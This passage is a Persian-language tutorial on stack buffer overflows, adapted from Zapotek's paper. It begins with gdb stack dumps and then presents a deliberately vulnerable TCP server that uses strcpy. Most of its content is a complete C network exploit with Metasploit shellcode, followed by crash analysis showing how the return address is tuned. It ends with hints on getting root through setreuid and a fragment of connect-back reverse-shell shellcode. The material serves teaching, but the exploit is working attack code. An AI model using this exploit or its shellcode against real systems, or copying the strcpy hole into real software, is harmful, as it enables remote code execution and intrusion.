0xbfffeb94:	0xe3	0xf3	0xff	0xbf	0xf8	0xf3	0xff	0xbf
0xbfffeb9c:	0x0b	0xf4	0xff	0xbf	0x1e	0xf4	0xff	0xbf
0xbfffeba4:	0x34	0xf4	0xff	0xbf	0x45	0xf4	0xff	0xbf
0xbfffebac:	0x64	0xf4	0xff	0xbf	0x71	0xf4	0xff	0xbf
0xbfffebb4:	0x41	0xf7	0xff	0xbf	0x59	0xf7	0xff	0xbf
0xbfffebbc:	0x72	0xf7	0xff	0xbf	0x92	0xf7	0xff	0xbf
0xbfffebc4:	0xa7	0xf7	0xff	0xbf	0xd3	0xf7	0xff	0xbf
0xbfffebcc:	0xe1	0xf7	0xff	0xbf	0x11	0xf8	0xff	0xbf
0xbfffebd4:	0x1e	0xf8	0xff	0xbf	0x29	0xf8	0xff	0xbf
0xbfffebdc:	0x37	0xf8	0xff	0xbf	0x79	0xf8	0xff	0xbf
0xbfffebe4:	0x92	0xf8	0xff	0xbf	0xba	0xf8	0xff	0xbf
0xbfffebec:	0xc8	0xf8	0xff	0xbf	0xdc	0xf8	0xff	0xbf
0xbfffebf4:	0xf9	0xf8	0xff	0xbf	0xa7	0xf9	0xff	0xbf
0xbfffebfc:	0xbb	0xf9	0xff	0xbf	0xc4	0xf9	0xff	0xbf
0xbfffec04:	0xe6	0xf9	0xff	0xbf	0xfc	0xf9	0xff	0xbf
0xbfffec0c:	0x2e	0xfa	0xff	0xbf	0x43	0xfa	0xff	0xbf
0xbfffec14:	0x62	0xfa	0xff	0xbf	0x7e	0xfa	0xff	0xbf
0xbfffec1c:	0x93	0xfa	0xff	0xbf	0xa4	0xfa	0xff	0xbf
0xbfffec24:	0xc3	0xfa	0xff	0xbf	0xde	0xfa	0xff	0xbf
0xbfffec2c:	0x07	0xfb	0xff	0xbf	0x47	0xfb	0xff	0xbf
0xbfffec34:	0x62	0xfb	0xff	0xbf	0x75	0xfb	0xff	0xbf
0xbfffec3c:	0x7d	0xfb	0xff	0xbf	0x9b	0xfb	0xff	0xbf
0xbfffec44:	0xa8	0xfb	0xff	0xbf	0xc7	0xfb	0xff	0xbf
0xbfffec4c:	0xe2	0xfb	0xff	0xbf	0x3c	0xfc	0xff	0xbf
0xbfffec54:	0x84	0xfc	0xff	0xbf	0x92	0xfc	0xff	0xbf
0xbfffec5c:	0xc7	0xfc	0xff	0xbf	0xd2	0xfc	0xff	0xbf
0xbfffec64:	0xeb	0xfc	0xff	0xbf	0xfb	0xfc	0xff	0xbf
0xbfffec6c:	0x07	0xfd	0xff	0xbf	0x6b	0xfd	0xff	0xbf
0xbfffec74:	0x95	0xfd	0xff	0xbf	0xf7	0xfd	0xff	0xbf
0xbfffec7c:	0xc8	0xfe	0xff	0xbf	0xe0	0xfe	0xff	0xbf
0xbfffec84:	0xe9	0xfe	0xff	0xbf	0x32	0xff	0xff	0xbf
0xbfffec8c:	0x3f	0xff	0xff	0xbf	0x58	0xff	0xff	0xbf
0xbfffec94:	0x75	0xff	0xff	0xbf	0x8a	0xff	0xff	0xbf
0xbfffec9c:	0xa6	0xff	0xff	0xbf	0xb2	0xff	0xff	0xbf
0xbfffeca4:	0xdf	0xff	0xff	0xbf	0x00	0x00	0x00	0x00
0xbfffecac:	0x20	0x00	0x00	0x00	0x00	0xe4	0xff	0xff
0xbfffecb4:	0x21	0x00	0x00	0x00	0x00	0xe0	0xff	0xff
0xbfffecbc:	0x10	0x00	0x00	0x00	0xff	0xfb	0xeb	0xbf
0xbfffecc4:	0x06	0x00	0x00	0x00	0x00	0x10	0x00	0x00
0xbfffeccc:	0x11	0x00	0x00	0x00	0x64	0x00	0x00	0x00
0xbfffecd4:	0x03	0x00	0x00	0x00	0x34	0x80	0x04	0x08
0xbfffecdc:	0x04	0x00	0x00	0x00	0x20	0x00	0x00	0x00
0xbfffece4:	0x05	0x00	0x00	0x00	0x08	0x00	0x00	0x00
0xbfffecec:	0x07	0x00	0x00	0x00	0x00	0x60	0xfe	0xb7
0xbfffecf4:	0x08	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0xbfffecfc:	0x09	0x00	0x00	0x00	0x50	0x83	0x04	0x08
0xbfffed04:	0x0b	0x00	0x00	0x00	0xe8	0x03	0x00	0x00
0xbfffed0c:	0x0c	0x00	0x00	0x00	0xe8	0x03	0x00	0x00
0xbfffed14:	0x0d	0x00	0x00	0x00	0x64	0x00	0x00	0x00
0xbfffed1c:	0x0e	0x00	0x00	0x00	0x64	0x00	0x00	0x00
0xbfffed24:	0x17	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0xbfffed2c:	0x0f	0x00	0x00	0x00	0x4b	0xed	0xff	0xbf
0xbfffed34:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0xbfffed3c:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0xbfffed44:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x69
0xbfffed4c:	0x36	0x38	0x36	0x00	0x00	0x00	0x00	0x00
0xbfffed54:	0x00	0x00	0x00	0x00	0x00	0x00	0x2e	0x2f
0xbfffed5c:	0x76	0x75	0x6c	0x6e	0x65	0x72	0x61	0x62
0xbfffed64:	0x6c	0x65	0x00	0x90	0x90	0x90	0x90	0x90
0xbfffed6c:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xbfffed74:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xbfffed7c:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xbfffed84:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90

```
0xbfffed8c:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbfffed94:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbfffed9c:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbfffeda4:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbfffedac:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbfffedb4:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbfffedbc:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbfffedc4:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbfffedcc:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbfffedd4:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbfffeddc:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbfffede4:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbfffedec:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbfffedf4:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbfffedfc:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbfffee04:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbfffee0c:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbfffee14:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbfffee1c:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbfffee24:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xbfffee2c:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x2b
0xbfffee34:     0xc9    0x83    0xe9    0xf5    0xd9    0xee    0xd9    0x74
0xbfffee3c:     0x24    0xf4    0x5b    0x81    0x73    0x13    0x64    0x96
0xbfffee44:     0x2c    0xed    0x83    0xeb    0xfc    0xe2    0xf4    0x0e
0xbfffee4c:     0x9d    0x74    0x74    0x36    0xf0    0x44    0xc0    0x07
0xbfffee54:     0x1f    0xcb    0x85    0x4b    0xe5    0x44    0xed    0x0c
(gdb)
```

من از دستور x/1000xb $esp **برای دیدن ۱۰۰۰ تا از آدرس هایی که رجیستر** Esp **در خود ذخیره کرده است استفاده کردم!**

Esp **یکی از رجیستر های پشته**[4] **است که موقعیت فعلی پشته را در خود نگه میدارد.**

شما میتوانید شروع شل کد را را در بالا بعد از آخرین Nop **مشاهده کنید . من مقدار رجیستر** eip **را یکی از آدرس هایی که** nop **ها را نگه داشته بود قرار دادم.**

0xbfffedac

همانطور که میدانید آدرس ها به طور معکوس(little-endian) **در حافظه قرار میگیرند، پس:**

\xac\xed\xff\xbf

و این مقدار را در $_retadd **در اکسپلویت قرار دادم.**

خب حالا بیاید یک برنامه تحت وب را اکسپلویت کنیم:

```
/*
  Author: Zapotek


  Description:
  Vulnerable TCP/IP server for use with
  the "Buffer Overflows, a peek under the hood." paper.
*/
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/wait.h>
#include <signal.h>


#define LPORT 1337     // listen on port
#define CONNUM 10      // queue up to 10 connections
#define MAXDATA 1024 // max amount of data received at once
```

[4] از دیگر رجیستر های پشته میتوان به ebp اشاره کرد که به متغییر های محلی اشاره میکند

```
// our vulnerable function
int handleR(char *in){
char hazard[256]; // our exploitable buffer

strcpy(hazard,in); // the mother of all evil

printf("\nClient sent: %s",hazard);
return 0;
}

int main(void)
{
    int sockfd, newfd;  // listen on sock_fd, new connection on newfd
    struct sockaddr_in my_addr;    // my address information
    struct sockaddr_in their_addr; // connector's address information
    socklen_t sin_size;
    struct sigaction sa;
    int yes=1;
    char in[1024];
    char hazard[100];
    int numbytes;

    // Basic error checking
    if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1) {
        perror("socket");
        exit(1);
    }
    // Basic error checking
    if (setsockopt(sockfd,SOL_SOCKET,SO_REUSEADDR,&yes,sizeof(int)) == -1) {
        perror("setsockopt");
        exit(1);
    }

    my_addr.sin_family = AF_INET;         // host byte order
    my_addr.sin_port = htons(LPORT);     // short, network byte order
    my_addr.sin_addr.s_addr = INADDR_ANY; // automatically fill with my IP
    memset(&(my_addr.sin_zero), '\0', 8); // zero the rest of the struct

    // bind socket using info from "sockaddr"
    // and do some error checking
    if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == -1) {
        perror("bind");
        exit(1);
    }

    // listen on LPORT and hold up to CONNUM connections
    // and do some error checking
    if (listen(sockfd, CONNUM) == -1) {
        perror("listen");
        exit(1);
    }

    while(1) {  // main accept() loop
        sin_size = sizeof(struct sockaddr_in);

        // get new socket file descriptor for connector-server interaction
        // and do some error checking
        if ((newfd = accept(sockfd, (struct sockaddr *)&their_addr,
                                                  &sin_size)) == -1) {
            perror("accept");
            continue;
        }

        printf("server: got connection from %s",inet_ntoa(their_addr.sin_addr));

            // get tcp/ip packet from client
            if ((numbytes=recv(newfd, in, MAXDATA-1, 0)) == -1) {
                perror("recv");
                exit(1);
            }
```

```
        // call the vulnerable function to handle tcp/ip input data
        handleR(in);
    }

    return 0;
}
```

مقدار بافر ۲۵۶ است. پس با کم کردن شل کد خود (eip فراموش نشود) ۱۹۸ بایت nop باید مورد استفاده قرار گیرد.

اکسپلویت:

```
/*
  Author: zapotek
  Usage: ./sploit.bin <target_ip>

  Description:
  Exploit for use with
  the "Buffer Overflows, a peek under the hood." paper.
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>

#define RPORT      1337
#define NOP        0x90

int main(int argc,char *argv[]){

int sockfd; // socket file descriptor
struct sockaddr_in target_addr; // assign struct sockadd_in to target_addr
char payload[272]; // set payload to hold 272 bytes

printf("[ * ] Creating socket...");

/* create socket and do error checking */
if((sockfd = socket(AF_INET,SOCK_STREAM,0)) == -1){
        perror("socket");
        exit(1);
}
printf(" OK\n");

/* a memory address pointing somewhere in our NOP-sled which will overwrite
   the EIP register  */
char *eip = "AAAA";

/*
   Shellcode taken from the metasploit project
   It executes the "ls -l" UNIX command on the vulnerable system
*/
/* linux_ia32_exec -  CMD=ls -l Size=68 Encoder=PexFnstenvSub http://metasploit.com */
unsigned char scode[] =
"\x33\xc9\x83\xe9\xf5\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xf0"
"\x49\x9b\x89\x83\xeb\xfc\xe2\xf4\x9a\x42\xc3\x10\xa2\x2f\xf3\xa4"
"\x93\xc0\x7c\xe1\xdf\x3a\xf3\x89\x98\x66\xf9\xe0\x9e\xc0\x78\xdb"
"\x18\x4f\x9b\x89\xf0\x25\xe8\xa9\xdd\x25\x9b\xde\xa3\xc0\x7a\x44"
"\x70\x49\x9b\x89";

printf("[ * ] Constructing payload...");

/* construct payload */
```

```
memset(payload,NOP,192); // put 192 bytes of nopsled first
memcpy(payload+192,scode,sizeof(scode)); // the shellcode in the midle
memcpy(payload+192+sizeof(scode)-1,eip,sizeof(eip)); // and the eip address at the end


printf(" OK [%i bytes]\n",sizeof(payload));


/* connection information */
target_addr.sin_family = AF_INET; // set address familly
target_addr.sin_addr.s_addr = inet_addr(argv[1]); // set target's IP addrss, our one
and only arguement
target_addr.sin_port = htons(RPORT); // the remote port


printf("[ * ] Connecting to target...");
/* connect to target and error check */
if((connect(sockfd, (struct sockaddr_in *)&target_addr,sizeof(target_addr))) == -1){
        perror("connect");
        exit(1);
}
printf(" OK [%s]\n",argv[1]);


printf("[ * ] Sending payload to target...");
/* send paylod to the vuln server and do error checking */
if(send(sockfd,payload,strlen(payload),0) == -1 ){
        perror("send");
        exit(1);
}
printf(" OK [ls -l]\n");


/* inform user of payload size and status */
printf("[ * ] It's all yours now, I'm out.\n");


exit(0);
}
```

یک وقت خدای نکرده فکر نکنید ، زبان php عاجز است از نوشتن چنین اکسپلویتی ! نه دلیلش بی حوصلگی بنده بود که از این اکسپلویت استفاده نمودم.

برنامه آسیب پذیر را اجرا کنید و اکسپلویت را با مقدار آدرس برگشت AAAA اجرا کنید تا ببینیم چه میشود:

```
Bash$ ./expl 127.0.0.1
[ * ] Creating socket... OK
[ * ] Constructing payload... OK [272 bytes]
[ * ] Connecting to target... OK [127.0.0.1]
[ * ] Sending payload to target... OK [ls -l]
[ * ] It's all yours now, I'm out.
```

:--

```
Bash$ ./vuln
server: got connection from 127.0.0.1
Segmentation fault (core dumped)
```

به سراغ Gdb میویم:

```
Bash$ gdb -c core
GNU gdb 6.4
Copyright 2005 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i586-suse-linux."
)no debugging symbols found(
```

```
Using host libthread_db library "/lib/libthread_db.so.1."
Core was generated by `./vuln'.
Program terminated with signal 11, Segmentation fault.
· ·#x41414141 in()??
)gdb) i r eip
eip            0x41414141       0x41414141
)gdb) x/500xb $esp
·xbfffe810:     0xf4    0xbf    0xfb    0xb7    0xd4    0x9f    0xfb    0xb7
·xbfffe818:     0x02    0x64    0xff    0xb7    0xb0    0xf6    0xe9    0xb7
·xbfffe820:     0x00    0x00    0x00    0x00    0x96    0x14    0xeb    0xb7
·xbfffe828:     0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
·xbfffe830:     0x64    0x56    0xfe    0xb7    0x02    0x00    0x00    0xb8
·xbfffe838:     0x03    0x00    0x00    0x00    0x00    0x00    0x00    0x00
·xbfffe840:     0x54    0xe8    0xff    0xbf    0xf4    0x0f    0x00    0xb8
·xbfffe848:     0x80    0x18    0x00    0xb8    0xdc    0xe8    0xff    0xbf
·xbfffe850:     0xf0    0xe8    0xff    0xbf    0x87    0xf5    0xfe    0xb7
·xbfffe858:     0xdc    0xe8    0xff    0xbf    0x30    0x18    0x00    0xb8
·xbfffe860:     0x01    0x00    0x00    0x00    0x60    0x58    0xfe    0xb7
·xbfffe868:     0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
·xbfffe870:     0x01    0x00    0x00    0x00    0x20    0x13    0x00    0xb8
·xbfffe878:     0x00    0x00    0x00    0x00    0xc8    0xe9    0xff    0xbf
·xbfffe880:     0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
·xbfffe888:     0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
·xbfffe890:     0xe8    0xe9    0xff    0xbf    0x90    0x90    0x90    0x90
·xbfffe898:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
·xbfffe8a0:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
·xbfffe8a8:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
·xbfffe8b0:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
·xbfffe8b8:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
·xbfffe8c0:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
·xbfffe8c8:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
·xbfffe8d0:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
·xbfffe8d8:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
·xbfffe8e0:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
·xbfffe8e8:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
·xbfffe8f0:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
·xbfffe8f8:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
·xbfffe900:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
·xbfffe908:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
·xbfffe910:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
·xbfffe918:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
·xbfffe920:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
·xbfffe928:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
·xbfffe930:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
·xbfffe938:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
·xbfffe940:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
·xbfffe948:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
```

```
0xbfffe950:     0x90    0x90    0x90    0x90    0x33    0xc9    0x83    0xe9
0xbfffe958:     0xf5    0xd9    0xee    0xd9    0x74    0x24    0xf4    0x5b
0xbfffe960:     0x81    0x73    0x13    0xf0    0x49    0x9b    0x89    0x83
0xbfffe968:     0xeb    0xfc    0xe2    0xf4    0x9a    0x42    0xc3    0x10
0xbfffe970:     0xa2    0x2f    0xf3    0xa4    0x93    0xc0    0x7c    0xe1
0xbfffe978:     0xdf    0x3a    0xf3    0x89    0x98    0x66    0xf9    0xe0
0xbfffe980:     0x9e    0xc0    0x78    0xdb    0x18    0x4f    0x9b    0x89
0xbfffe988:     0xf0    0x25    0xe8    0xa9    0xdd    0x25    0x9b    0xde
0xbfffe990:     0xa3    0xc0    0x7a    0x44    0x70    0x49    0x9b    0x89
0xbfffe998:     0x41    0x41    0x41    0x41    0xf4    0xbf    0xfb    0xb7
0xbfffe9a0:     0xd4    0x9f    0xfb    0xb7    0x02    0x64    0xff    0xb7
0xbfffe9a8:     0xb0    0xf6    0xe9    0xb7    0x00    0x00    0x00    0x00
0xbfffe9b0:     0x01    0x00    0x00    0x00    0xec    0xe9    0xff    0xbf
0xbfffe9b8:     0xf0    0xe9    0xff    0xbf    0x10    0x10    0x00    0xb8
0xbfffe9c0:     0x20    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0xbfffe9c8:     0xbb    0xcc    0xff    0xb7    0x5a    0xcd    0xff    0xb7
0xbfffe9d0:     0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0xbfffe9d8:     0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00
0xbfffe9e0:     0x00    0x00    0x00    0x00    0xcc    0x58    0xfe    0xb7
0xbfffe9e8:     0xa2    0xea    0xfe    0xb7    0x00    0x00    0xfc    0xb7
0xbfffe9f0:     0x70    0x48    0x02    0x00    0xf4    0x0f    0x00    0xb8
0xbfffe9f8:     0x70    0xed    0xff    0xbf    0x0f    0xa2    0xfe    0xb7
0xbfffea00:     0x20    0x13    0x00    0xb8
```

مقدار رجیستر eip **را تغییر میدهیم:**

```
char *eip = "\xe8\xe8\xff\xbf";
```

دوباره سعی میکنیم:

```
Bash$ ./expl 127.0.0.1
[ * ] Creating socket... OK
[ * ] Constructing payload... OK [272 bytes]
[ * ] Connecting to target... OK [127.0.0.1]
[ * ] Sending payload to target... OK [ls -l]
[ * ] It's all yours now, I'm out.

------------------------------
Server Output:
------------------------------

Bash$ ./vuln
server: got connection from 127.0.0.1
total 32
-rwxr-xr-x  1 Snake mkpasswd 3448 Oct  4 14:59 CGI.sh
-rw-r--r--  1 Snake mkpasswd 1689 Oct  8 15:52 CGI2.sh
-rwxr-xr-x  1 Snake mkpasswd  113 Oct  8 20:19 scanner.sh
-rw-r--r--
```

تبریک میگم!

در پایان در مورد دسترسی root **اینکه اگر شما از شل کدی استفاده کنید که مقدار** setreud **را نیز** Set **کند و برنامه تحت مالکیت** root **و مجوز** S **باشد میتوانید به دسترسی** root**برسید.**

و در آخر :

```
# 131 byte - connect back shellcode (port=0xb0ef)
"\x31\xc0\x31\xdb\x31\xc9\x51\xb1"
"\x06\x51\xb1\x01\x51\xb1\x02\x51"
"\x89\xe1\xb3\x01\xb0\x66\xcd\x80"
"\x89\xc2\x31\xc0\x31\xc9\x51\x51"
"\x68"
```

این مقاله هم به اتمام رسید ، امیدوارم توانسته باشم بر بار علمی شما بیافزایم .

نویسنده: شهریار جلایری(Snake)